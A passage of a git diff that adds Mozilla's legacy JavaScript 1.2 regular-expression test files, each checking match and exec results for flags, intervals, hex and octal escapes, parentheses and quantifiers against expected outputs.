+new TestCase ( SECTION, "'Sally and Fred are sure to come'.match(/^[a-z\\s]*/i)",
+ String(["Sally and Fred are sure to come"]), String('Sally and Fred are sure to come'.match(/^[a-z\s]*/i)));
+
+// 'test123W+xyz'.match(new RegExp('^[a-z]*[0-9]+[A-Z]?.(123|xyz)$'))
+new TestCase ( SECTION, "'test123W+xyz'.match(new RegExp('^[a-z]*[0-9]+[A-Z]?.(123|xyz)$'))",
+ String(["test123W+xyz","xyz"]), String('test123W+xyz'.match(new RegExp('^[a-z]*[0-9]+[A-Z]?.(123|xyz)$'))));
+
+// 'number one 12365 number two 9898'.match(/(\d+)\D+(\d+)/)
+new TestCase ( SECTION, "'number one 12365 number two 9898'.match(/(\d+)\D+(\d+)/)",
+ String(["12365 number two 9898","12365","9898"]), String('number one 12365 number two 9898'.match(/(\d+)\D+(\d+)/)));
+
+var simpleSentence = /(\s?[^\!\?\.]+[\!\?\.])+/;
+// 'See Spot run.'.match(simpleSentence)
+new TestCase ( SECTION, "'See Spot run.'.match(simpleSentence)",
+ String(["See Spot run.","See Spot run."]), String('See Spot run.'.match(simpleSentence)));
+
+// 'I like it. What's up? I said NO!'.match(simpleSentence)
+new TestCase ( SECTION, "'I like it. What's up? I said NO!'.match(simpleSentence)",
+ String(["I like it. What's up? I said NO!",' I said NO!']), String('I like it. What\'s up? I said NO!'.match(simpleSentence)));
+
+// 'the quick brown fox jumped over the lazy dogs'.match(/((\w+)\s*)+/)
+new TestCase ( SECTION, "'the quick brown fox jumped over the lazy dogs'.match(/((\\w+)\\s*)+/)",
+ String(['the quick brown fox jumped over the lazy dogs','dogs','dogs']),String('the quick brown fox jumped over the lazy dogs'.match(/((\w+)\s*)+/)));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/exec.js b/js/src/tests/js1_2/regexp/exec.js
new file mode 100644
index 000000000..783260145
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/exec.js
@@ -0,0 +1,45 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: exec.js
+ Description: 'Tests regular expressions exec compile'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: exec';
+
+writeHeaderToLog('Executing script: exec.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase ( SECTION,
+ "/[0-9]{3}/.exec('23 2 34 678 9 09')",
+ String(["678"]), String(/[0-9]{3}/.exec('23 2 34 678 9 09')));
+
+new TestCase ( SECTION,
+ "/3.{4}8/.exec('23 2 34 678 9 09')",
+ String(["34 678"]), String(/3.{4}8/.exec('23 2 34 678 9 09')));
+
+var re = new RegExp('3.{4}8');
+new TestCase ( SECTION,
+ "re.exec('23 2 34 678 9 09')",
+ String(["34 678"]), String(re.exec('23 2 34 678 9 09')));
+
+new TestCase ( SECTION,
+ "(/3.{4}8/.exec('23 2 34 678 9 09').length",
+ 1, (/3.{4}8/.exec('23 2 34 678 9 09')).length);
+
+re = new RegExp('3.{4}8');
+new TestCase ( SECTION,
+ "(re.exec('23 2 34 678 9 09').length",
+ 1, (re.exec('23 2 34 678 9 09')).length);
+
+test();
diff --git a/js/src/tests/js1_2/regexp/flags.js b/js/src/tests/js1_2/regexp/flags.js
new file mode 100644
index 000000000..e2529a844
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/flags.js
@@ -0,0 +1,53 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: regexp.js
+ Description: 'Tests regular expressions using flags "i" and "g"'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'regular expression flags with flags "i" and "g"';
+
+writeHeaderToLog('Executing script: flags.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// testing optional flag 'i'
+new TestCase ( SECTION, "'aBCdEfGHijKLmno'.match(/fghijk/i)",
+ String(["fGHijK"]), String('aBCdEfGHijKLmno'.match(/fghijk/i)));
+
+new TestCase ( SECTION, "'aBCdEfGHijKLmno'.match(new RegExp('fghijk','i'))",
+ String(["fGHijK"]), String('aBCdEfGHijKLmno'.match(new RegExp("fghijk","i"))));
+
+// testing optional flag 'g'
+new TestCase ( SECTION, "'xa xb xc xd xe xf'.match(/x./g)",
+ String(["xa","xb","xc","xd","xe","xf"]), String('xa xb xc xd xe xf'.match(/x./g)));
+
+new TestCase ( SECTION, "'xa xb xc xd xe xf'.match(new RegExp('x.','g'))",
+ String(["xa","xb","xc","xd","xe","xf"]), String('xa xb xc xd xe xf'.match(new RegExp('x.','g'))));
+
+// testing optional flags 'g' and 'i'
+new TestCase ( SECTION, "'xa Xb xc xd Xe xf'.match(/x./gi)",
+ String(["xa","Xb","xc","xd","Xe","xf"]), String('xa Xb xc xd Xe xf'.match(/x./gi)));
+
+new TestCase ( SECTION, "'xa Xb xc xd Xe xf'.match(new RegExp('x.','gi'))",
+ String(["xa","Xb","xc","xd","Xe","xf"]), String('xa Xb xc xd Xe xf'.match(new RegExp('x.','gi'))));
+
+new TestCase ( SECTION, "'xa Xb xc xd Xe xf'.match(/x./ig)",
+ String(["xa","Xb","xc","xd","Xe","xf"]), String('xa Xb xc xd Xe xf'.match(/x./ig)));
+
+new TestCase ( SECTION, "'xa Xb xc xd Xe xf'.match(new RegExp('x.','ig'))",
+ String(["xa","Xb","xc","xd","Xe","xf"]), String('xa Xb xc xd Xe xf'.match(new RegExp('x.','ig'))));
+
+
+test();
+
diff --git a/js/src/tests/js1_2/regexp/global.js b/js/src/tests/js1_2/regexp/global.js
new file mode 100644
index 000000000..442374cd9
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/global.js
@@ -0,0 +1,63 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: global.js
+ Description: 'Tests RegExp attribute global'
+
+ Author: Nick Lerissa
+ Date: March 13, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: global';
+
+writeHeaderToLog('Executing script: global.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// /xyz/g.global
+new TestCase ( SECTION, "/xyz/g.global",
+ true, /xyz/g.global);
+
+// /xyz/.global
+new TestCase ( SECTION, "/xyz/.global",
+ false, /xyz/.global);
+
+// '123 456 789'.match(/\d+/g)
+new TestCase ( SECTION, "'123 456 789'.match(/\\d+/g)",
+ String(["123","456","789"]), String('123 456 789'.match(/\d+/g)));
+
+// '123 456 789'.match(/(\d+)/g)
+new TestCase ( SECTION, "'123 456 789'.match(/(\\d+)/g)",
+ String(["123","456","789"]), String('123 456 789'.match(/(\d+)/g)));
+
+// '123 456 789'.match(/\d+/)
+new TestCase ( SECTION, "'123 456 789'.match(/\\d+/)",
+ String(["123"]), String('123 456 789'.match(/\d+/)));
+
+// (new RegExp('[a-z]','g')).global
+new TestCase ( SECTION, "(new RegExp('[a-z]','g')).global",
+ true, (new RegExp('[a-z]','g')).global);
+
+// (new RegExp('[a-z]','i')).global
+new TestCase ( SECTION, "(new RegExp('[a-z]','i')).global",
+ false, (new RegExp('[a-z]','i')).global);
+
+// '123 456 789'.match(new RegExp('\\d+','g'))
+new TestCase ( SECTION, "'123 456 789'.match(new RegExp('\\\\d+','g'))",
+ String(["123","456","789"]), String('123 456 789'.match(new RegExp('\\d+','g'))));
+
+// '123 456 789'.match(new RegExp('(\\d+)','g'))
+new TestCase ( SECTION, "'123 456 789'.match(new RegExp('(\\\\d+)','g'))",
+ String(["123","456","789"]), String('123 456 789'.match(new RegExp('(\\d+)','g'))));
+
+// '123 456 789'.match(new RegExp('\\d+','i'))
+new TestCase ( SECTION, "'123 456 789'.match(new RegExp('\\\\d+','i'))",
+ String(["123"]), String('123 456 789'.match(new RegExp('\\d+','i'))));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/hexadecimal.js b/js/src/tests/js1_2/regexp/hexadecimal.js
new file mode 100644
index 000000000..09ecea77b
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/hexadecimal.js
@@ -0,0 +1,75 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: hexadecimal.js
+ Description: 'Tests regular expressions containing \<number> '
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: \\x# (hex) ';
+
+writeHeaderToLog('Executing script: hexadecimal.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var testPattern = '\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4A\\x4B\\x4C\\x4D\\x4E\\x4F\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5A';
+
+var testString = "12345ABCDEFGHIJKLMNOPQRSTUVWXYZ67890";
+
+new TestCase ( SECTION,
+ "'" + testString + "'.match(new RegExp('" + testPattern + "'))",
+ String(["ABCDEFGHIJKLMNOPQRSTUVWXYZ"]), String(testString.match(new RegExp(testPattern))));
+
+testPattern = '\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6A\\x6B\\x6C\\x6D\\x6E\\x6F\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7A';
+
+testString = "12345AabcdefghijklmnopqrstuvwxyzZ67890";
+
+new TestCase ( SECTION,
+ "'" + testString + "'.match(new RegExp('" + testPattern + "'))",
+ String(["abcdefghijklmnopqrstuvwxyz"]), String(testString.match(new RegExp(testPattern))));
+
+testPattern = '\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2A\\x2B\\x2C\\x2D\\x2E\\x2F\\x30\\x31\\x32\\x33';
+
+testString = "abc !\"#$%&'()*+,-./0123ZBC";
+
+new TestCase ( SECTION,
+ "'" + testString + "'.match(new RegExp('" + testPattern + "'))",
+ String([" !\"#$%&'()*+,-./0123"]), String(testString.match(new RegExp(testPattern))));
+
+testPattern = '\\x34\\x35\\x36\\x37\\x38\\x39\\x3A\\x3B\\x3C\\x3D\\x3E\\x3F\\x40';
+
+testString = "123456789:;<=>?@ABC";
+
+new TestCase ( SECTION,
+ "'" + testString + "'.match(new RegExp('" + testPattern + "'))",
+ String(["456789:;<=>?@"]), String(testString.match(new RegExp(testPattern))));
+
+testPattern = '\\x7B\\x7C\\x7D\\x7E';
+
+testString = "1234{|}~ABC";
+
+new TestCase ( SECTION,
+ "'" + testString + "'.match(new RegExp('" + testPattern + "'))",
+ String(["{|}~"]), String(testString.match(new RegExp(testPattern))));
+
+new TestCase ( SECTION,
+ "'canthisbeFOUND'.match(new RegExp('[A-\\x5A]+'))",
+ String(["FOUND"]), String('canthisbeFOUND'.match(new RegExp('[A-\\x5A]+'))));
+
+new TestCase ( SECTION,
+ "'canthisbeFOUND'.match(new RegExp('[\\x61-\\x7A]+'))",
+ String(["canthisbe"]), String('canthisbeFOUND'.match(new RegExp('[\\x61-\\x7A]+'))));
+
+new TestCase ( SECTION,
+ "'canthisbeFOUND'.match(/[\\x61-\\x7A]+/)",
+ String(["canthisbe"]), String('canthisbeFOUND'.match(/[\x61-\x7A]+/)));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/ignoreCase.js b/js/src/tests/js1_2/regexp/ignoreCase.js
new file mode 100644
index 000000000..f02ba91b0
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/ignoreCase.js
@@ -0,0 +1,80 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: ignoreCase.js
+ Description: 'Tests RegExp attribute ignoreCase'
+
+ Author: Nick Lerissa
+ Date: March 13, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: ignoreCase';
+
+writeHeaderToLog('Executing script: ignoreCase.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// /xyz/i.ignoreCase
+new TestCase ( SECTION, "/xyz/i.ignoreCase",
+ true, /xyz/i.ignoreCase);
+
+// /xyz/.ignoreCase
+new TestCase ( SECTION, "/xyz/.ignoreCase",
+ false, /xyz/.ignoreCase);
+
+// 'ABC def ghi'.match(/[a-z]+/ig)
+new TestCase ( SECTION, "'ABC def ghi'.match(/[a-z]+/ig)",
+ String(["ABC","def","ghi"]), String('ABC def ghi'.match(/[a-z]+/ig)));
+
+// 'ABC def ghi'.match(/[a-z]+/i)
+new TestCase ( SECTION, "'ABC def ghi'.match(/[a-z]+/i)",
+ String(["ABC"]), String('ABC def ghi'.match(/[a-z]+/i)));
+
+// 'ABC def ghi'.match(/([a-z]+)/ig)
+new TestCase ( SECTION, "'ABC def ghi'.match(/([a-z]+)/ig)",
+ String(["ABC","def","ghi"]), String('ABC def ghi'.match(/([a-z]+)/ig)));
+
+// 'ABC def ghi'.match(/([a-z]+)/i)
+new TestCase ( SECTION, "'ABC def ghi'.match(/([a-z]+)/i)",
+ String(["ABC","ABC"]), String('ABC def ghi'.match(/([a-z]+)/i)));
+
+// 'ABC def ghi'.match(/[a-z]+/)
+new TestCase ( SECTION, "'ABC def ghi'.match(/[a-z]+/)",
+ String(["def"]), String('ABC def ghi'.match(/[a-z]+/)));
+
+// (new RegExp('xyz','i')).ignoreCase
+new TestCase ( SECTION, "(new RegExp('xyz','i')).ignoreCase",
+ true, (new RegExp('xyz','i')).ignoreCase);
+
+// (new RegExp('xyz')).ignoreCase
+new TestCase ( SECTION, "(new RegExp('xyz')).ignoreCase",
+ false, (new RegExp('xyz')).ignoreCase);
+
+// 'ABC def ghi'.match(new RegExp('[a-z]+','ig'))
+new TestCase ( SECTION, "'ABC def ghi'.match(new RegExp('[a-z]+','ig'))",
+ String(["ABC","def","ghi"]), String('ABC def ghi'.match(new RegExp('[a-z]+','ig'))));
+
+// 'ABC def ghi'.match(new RegExp('[a-z]+','i'))
+new TestCase ( SECTION, "'ABC def ghi'.match(new RegExp('[a-z]+','i'))",
+ String(["ABC"]), String('ABC def ghi'.match(new RegExp('[a-z]+','i'))));
+
+// 'ABC def ghi'.match(new RegExp('([a-z]+)','ig'))
+new TestCase ( SECTION, "'ABC def ghi'.match(new RegExp('([a-z]+)','ig'))",
+ String(["ABC","def","ghi"]), String('ABC def ghi'.match(new RegExp('([a-z]+)','ig'))));
+
+// 'ABC def ghi'.match(new RegExp('([a-z]+)','i'))
+new TestCase ( SECTION, "'ABC def ghi'.match(new RegExp('([a-z]+)','i'))",
+ String(["ABC","ABC"]), String('ABC def ghi'.match(new RegExp('([a-z]+)','i'))));
+
+// 'ABC def ghi'.match(new RegExp('[a-z]+'))
+new TestCase ( SECTION, "'ABC def ghi'.match(new RegExp('[a-z]+'))",
+ String(["def"]), String('ABC def ghi'.match(new RegExp('[a-z]+'))));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/interval.js b/js/src/tests/js1_2/regexp/interval.js
new file mode 100644
index 000000000..1cd681817
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/interval.js
@@ -0,0 +1,83 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: interval.js
+ Description: 'Tests regular expressions containing {}'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: {}';
+
+writeHeaderToLog('Executing script: interval.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'aaabbbbcccddeeeefffff'.match(new RegExp('b{2}c'))
+new TestCase ( SECTION, "'aaabbbbcccddeeeefffff'.match(new RegExp('b{2}c'))",
+ String(["bbc"]), String('aaabbbbcccddeeeefffff'.match(new RegExp('b{2}c'))));
+
+// 'aaabbbbcccddeeeefffff'.match(new RegExp('b{8}'))
+new TestCase ( SECTION, "'aaabbbbcccddeeeefffff'.match(new RegExp('b{8}'))",
+ null, 'aaabbbbcccddeeeefffff'.match(new RegExp('b{8}')));
+
+// 'aaabbbbcccddeeeefffff'.match(new RegExp('b{2,}c'))
+new TestCase ( SECTION, "'aaabbbbcccddeeeefffff'.match(new RegExp('b{2,}c'))",
+ String(["bbbbc"]), String('aaabbbbcccddeeeefffff'.match(new RegExp('b{2,}c'))));
+
+// 'aaabbbbcccddeeeefffff'.match(new RegExp('b{8,}c'))
+new TestCase ( SECTION, "'aaabbbbcccddeeeefffff'.match(new RegExp('b{8,}c'))",
+ null, 'aaabbbbcccddeeeefffff'.match(new RegExp('b{8,}c')));
+
+// 'aaabbbbcccddeeeefffff'.match(new RegExp('b{2,3}c'))
+new TestCase ( SECTION, "'aaabbbbcccddeeeefffff'.match(new RegExp('b{2,3}c'))",
+ String(["bbbc"]), String('aaabbbbcccddeeeefffff'.match(new RegExp('b{2,3}c'))));
+
+// 'aaabbbbcccddeeeefffff'.match(new RegExp('b{42,93}c'))
+new TestCase ( SECTION, "'aaabbbbcccddeeeefffff'.match(new RegExp('b{42,93}c'))",
+ null, 'aaabbbbcccddeeeefffff'.match(new RegExp('b{42,93}c')));
+
+// 'aaabbbbcccddeeeefffff'.match(new RegExp('b{0,93}c'))
+new TestCase ( SECTION, "'aaabbbbcccddeeeefffff'.match(new RegExp('b{0,93}c'))",
+ String(["bbbbc"]), String('aaabbbbcccddeeeefffff'.match(new RegExp('b{0,93}c'))));
+
+// 'aaabbbbcccddeeeefffff'.match(new RegExp('bx{0,93}c'))
+new TestCase ( SECTION, "'aaabbbbcccddeeeefffff'.match(new RegExp('bx{0,93}c'))",
+ String(["bc"]), String('aaabbbbcccddeeeefffff'.match(new RegExp('bx{0,93}c'))));
+
+// 'weirwerdf'.match(new RegExp('.{0,93}'))
+new TestCase ( SECTION, "'weirwerdf'.match(new RegExp('.{0,93}'))",
+ String(["weirwerdf"]), String('weirwerdf'.match(new RegExp('.{0,93}'))));
+
+// 'wqe456646dsff'.match(new RegExp('\d{1,}'))
+new TestCase ( SECTION, "'wqe456646dsff'.match(new RegExp('\\d{1,}'))",
+ String(["456646"]), String('wqe456646dsff'.match(new RegExp('\\d{1,}'))));
+
+// '123123'.match(new RegExp('(123){1,}'))
+new TestCase ( SECTION, "'123123'.match(new RegExp('(123){1,}'))",
+ String(["123123","123"]), String('123123'.match(new RegExp('(123){1,}'))));
+
+// '123123x123'.match(new RegExp('(123){1,}x\1'))
+new TestCase ( SECTION, "'123123x123'.match(new RegExp('(123){1,}x\\1'))",
+ String(["123123x123","123"]), String('123123x123'.match(new RegExp('(123){1,}x\\1'))));
+
+// '123123x123'.match(/(123){1,}x\1/)
+new TestCase ( SECTION, "'123123x123'.match(/(123){1,}x\\1/)",
+ String(["123123x123","123"]), String('123123x123'.match(/(123){1,}x\1/)));
+
+// 'xxxxxxx'.match(new RegExp('x{1,2}x{1,}'))
+new TestCase ( SECTION, "'xxxxxxx'.match(new RegExp('x{1,2}x{1,}'))",
+ String(["xxxxxxx"]), String('xxxxxxx'.match(new RegExp('x{1,2}x{1,}'))));
+
+// 'xxxxxxx'.match(/x{1,2}x{1,}/)
+new TestCase ( SECTION, "'xxxxxxx'.match(/x{1,2}x{1,}/)",
+ String(["xxxxxxx"]), String('xxxxxxx'.match(/x{1,2}x{1,}/)));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/octal.js b/js/src/tests/js1_2/regexp/octal.js
new file mode 100644
index 000000000..79228428b
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/octal.js
@@ -0,0 +1,75 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: octal.js
+ Description: 'Tests regular expressions containing \<number> '
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: \# (octal) ';
+
+writeHeaderToLog('Executing script: octal.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var testPattern = '\\101\\102\\103\\104\\105\\106\\107\\110\\111\\112\\113\\114\\115\\116\\117\\120\\121\\122\\123\\124\\125\\126\\127\\130\\131\\132';
+
+var testString = "12345ABCDEFGHIJKLMNOPQRSTUVWXYZ67890";
+
+new TestCase ( SECTION,
+ "'" + testString + "'.match(new RegExp('" + testPattern + "'))",
+ String(["ABCDEFGHIJKLMNOPQRSTUVWXYZ"]), String(testString.match(new RegExp(testPattern))));
+
+testPattern = '\\141\\142\\143\\144\\145\\146\\147\\150\\151\\152\\153\\154\\155\\156\\157\\160\\161\\162\\163\\164\\165\\166\\167\\170\\171\\172';
+
+testString = "12345AabcdefghijklmnopqrstuvwxyzZ67890";
+
+new TestCase ( SECTION,
+ "'" + testString + "'.match(new RegExp('" + testPattern + "'))",
+ String(["abcdefghijklmnopqrstuvwxyz"]), String(testString.match(new RegExp(testPattern))));
+
+testPattern = '\\40\\41\\42\\43\\44\\45\\46\\47\\50\\51\\52\\53\\54\\55\\56\\57\\60\\61\\62\\63';
+
+testString = "abc !\"#$%&'()*+,-./0123ZBC";
+
+new TestCase ( SECTION,
+ "'" + testString + "'.match(new RegExp('" + testPattern + "'))",
+ String([" !\"#$%&'()*+,-./0123"]), String(testString.match(new RegExp(testPattern))));
+
+testPattern = '\\64\\65\\66\\67\\70\\71\\72\\73\\74\\75\\76\\77\\100';
+
+testString = "123456789:;<=>?@ABC";
+
+new TestCase ( SECTION,
+ "'" + testString + "'.match(new RegExp('" + testPattern + "'))",
+ String(["456789:;<=>?@"]), String(testString.match(new RegExp(testPattern))));
+
+testPattern = '\\173\\174\\175\\176';
+
+testString = "1234{|}~ABC";
+
+new TestCase ( SECTION,
+ "'" + testString + "'.match(new RegExp('" + testPattern + "'))",
+ String(["{|}~"]), String(testString.match(new RegExp(testPattern))));
+
+new TestCase ( SECTION,
+ "'canthisbeFOUND'.match(new RegExp('[A-\\132]+'))",
+ String(["FOUND"]), String('canthisbeFOUND'.match(new RegExp('[A-\\132]+'))));
+
+new TestCase ( SECTION,
+ "'canthisbeFOUND'.match(new RegExp('[\\141-\\172]+'))",
+ String(["canthisbe"]), String('canthisbeFOUND'.match(new RegExp('[\\141-\\172]+'))));
+
+new TestCase ( SECTION,
+ "'canthisbeFOUND'.match(/[\\141-\\172]+/)",
+ String(["canthisbe"]), String('canthisbeFOUND'.match(/[\141-\172]+/)));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/parentheses.js b/js/src/tests/js1_2/regexp/parentheses.js
new file mode 100644
index 000000000..90209cf0b
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/parentheses.js
@@ -0,0 +1,75 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: parentheses.js
+ Description: 'Tests regular expressions containing ()'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: ()';
+
+writeHeaderToLog('Executing script: parentheses.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abc'.match(new RegExp('(abc)'))
+new TestCase ( SECTION, "'abc'.match(new RegExp('(abc)'))",
+ String(["abc","abc"]), String('abc'.match(new RegExp('(abc)'))));
+
+// 'abcdefg'.match(new RegExp('a(bc)d(ef)g'))
+new TestCase ( SECTION, "'abcdefg'.match(new RegExp('a(bc)d(ef)g'))",
+ String(["abcdefg","bc","ef"]), String('abcdefg'.match(new RegExp('a(bc)d(ef)g'))));
+
+// 'abcdefg'.match(new RegExp('(.{3})(.{4})'))
+new TestCase ( SECTION, "'abcdefg'.match(new RegExp('(.{3})(.{4})'))",
+ String(["abcdefg","abc","defg"]), String('abcdefg'.match(new RegExp('(.{3})(.{4})'))));
+
+// 'aabcdaabcd'.match(new RegExp('(aa)bcd\1'))
+new TestCase ( SECTION, "'aabcdaabcd'.match(new RegExp('(aa)bcd\\1'))",
+ String(["aabcdaa","aa"]), String('aabcdaabcd'.match(new RegExp('(aa)bcd\\1'))));
+
+// 'aabcdaabcd'.match(new RegExp('(aa).+\1'))
+new TestCase ( SECTION, "'aabcdaabcd'.match(new RegExp('(aa).+\\1'))",
+ String(["aabcdaa","aa"]), String('aabcdaabcd'.match(new RegExp('(aa).+\\1'))));
+
+// 'aabcdaabcd'.match(new RegExp('(.{2}).+\1'))
+new TestCase ( SECTION, "'aabcdaabcd'.match(new RegExp('(.{2}).+\\1'))",
+ String(["aabcdaa","aa"]), String('aabcdaabcd'.match(new RegExp('(.{2}).+\\1'))));
+
+// '123456123456'.match(new RegExp('(\d{3})(\d{3})\1\2'))
+new TestCase ( SECTION, "'123456123456'.match(new RegExp('(\\d{3})(\\d{3})\\1\\2'))",
+ String(["123456123456","123","456"]), String('123456123456'.match(new RegExp('(\\d{3})(\\d{3})\\1\\2'))));
+
+// 'abcdefg'.match(new RegExp('a(..(..)..)'))
+new TestCase ( SECTION, "'abcdefg'.match(new RegExp('a(..(..)..)'))",
+ String(["abcdefg","bcdefg","de"]), String('abcdefg'.match(new RegExp('a(..(..)..)'))));
+
+// 'abcdefg'.match(/a(..(..)..)/)
+new TestCase ( SECTION, "'abcdefg'.match(/a(..(..)..)/)",
+ String(["abcdefg","bcdefg","de"]), String('abcdefg'.match(/a(..(..)..)/)));
+
+// 'xabcdefg'.match(new RegExp('(a(b(c)))(d(e(f)))'))
+new TestCase ( SECTION, "'xabcdefg'.match(new RegExp('(a(b(c)))(d(e(f)))'))",
+ String(["abcdef","abc","bc","c","def","ef","f"]), String('xabcdefg'.match(new RegExp('(a(b(c)))(d(e(f)))'))));
+
+// 'xabcdefbcefg'.match(new RegExp('(a(b(c)))(d(e(f)))\2\5'))
+new TestCase ( SECTION, "'xabcdefbcefg'.match(new RegExp('(a(b(c)))(d(e(f)))\\2\\5'))",
+ String(["abcdefbcef","abc","bc","c","def","ef","f"]), String('xabcdefbcefg'.match(new RegExp('(a(b(c)))(d(e(f)))\\2\\5'))));
+
+// 'abcd'.match(new RegExp('a(.?)b\1c\1d\1'))
+new TestCase ( SECTION, "'abcd'.match(new RegExp('a(.?)b\\1c\\1d\\1'))",
+ String(["abcd",""]), String('abcd'.match(new RegExp('a(.?)b\\1c\\1d\\1'))));
+
+// 'abcd'.match(/a(.?)b\1c\1d\1/)
+new TestCase ( SECTION, "'abcd'.match(/a(.?)b\\1c\\1d\\1/)",
+ String(["abcd",""]), String('abcd'.match(/a(.?)b\1c\1d\1/)));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/plus.js b/js/src/tests/js1_2/regexp/plus.js
new file mode 100644
index 000000000..0d5c40f33
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/plus.js
@@ -0,0 +1,55 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: plus.js
+ Description: 'Tests regular expressions containing +'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: +';
+
+writeHeaderToLog('Executing script: plus.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abcdddddefg'.match(new RegExp('d+'))
+new TestCase ( SECTION, "'abcdddddefg'.match(new RegExp('d+'))",
+ String(["ddddd"]), String('abcdddddefg'.match(new RegExp('d+'))));
+
+// 'abcdefg'.match(new RegExp('o+'))
+new TestCase ( SECTION, "'abcdefg'.match(new RegExp('o+'))",
+ null, 'abcdefg'.match(new RegExp('o+')));
+
+// 'abcdefg'.match(new RegExp('d+'))
